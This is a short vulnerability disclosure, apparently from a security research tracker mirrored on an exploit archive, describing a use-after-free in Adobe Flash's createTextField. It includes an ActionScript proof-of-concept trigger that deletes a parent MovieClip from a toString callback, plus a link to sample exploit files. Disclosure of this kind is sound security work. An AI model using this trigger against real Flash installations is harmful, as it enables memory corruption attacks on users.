24 lines
No EOL
831 B
Text
24 lines
No EOL
831 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
|
|
|
|
There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:
|
|
|
|
_root-->l1-->l2-->l3
|
|
|
|
If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:
|
|
|
|
var l1 = this.createEmptyMovieClip("l1", 1);
|
|
var l2 = l1.createEmptyMovieClip("l2", 1);
|
|
ns = {toString: strfunc, valueOf: strfunc};
|
|
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);
|
|
|
|
function strfunc(){
|
|
|
|
l2.removeMovieClip();
|
|
return "myname";
|
|
|
|
}
|
|
|
|
A sample SWF and fla are attached.
|
|
|
|
Proof of Concept:
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip |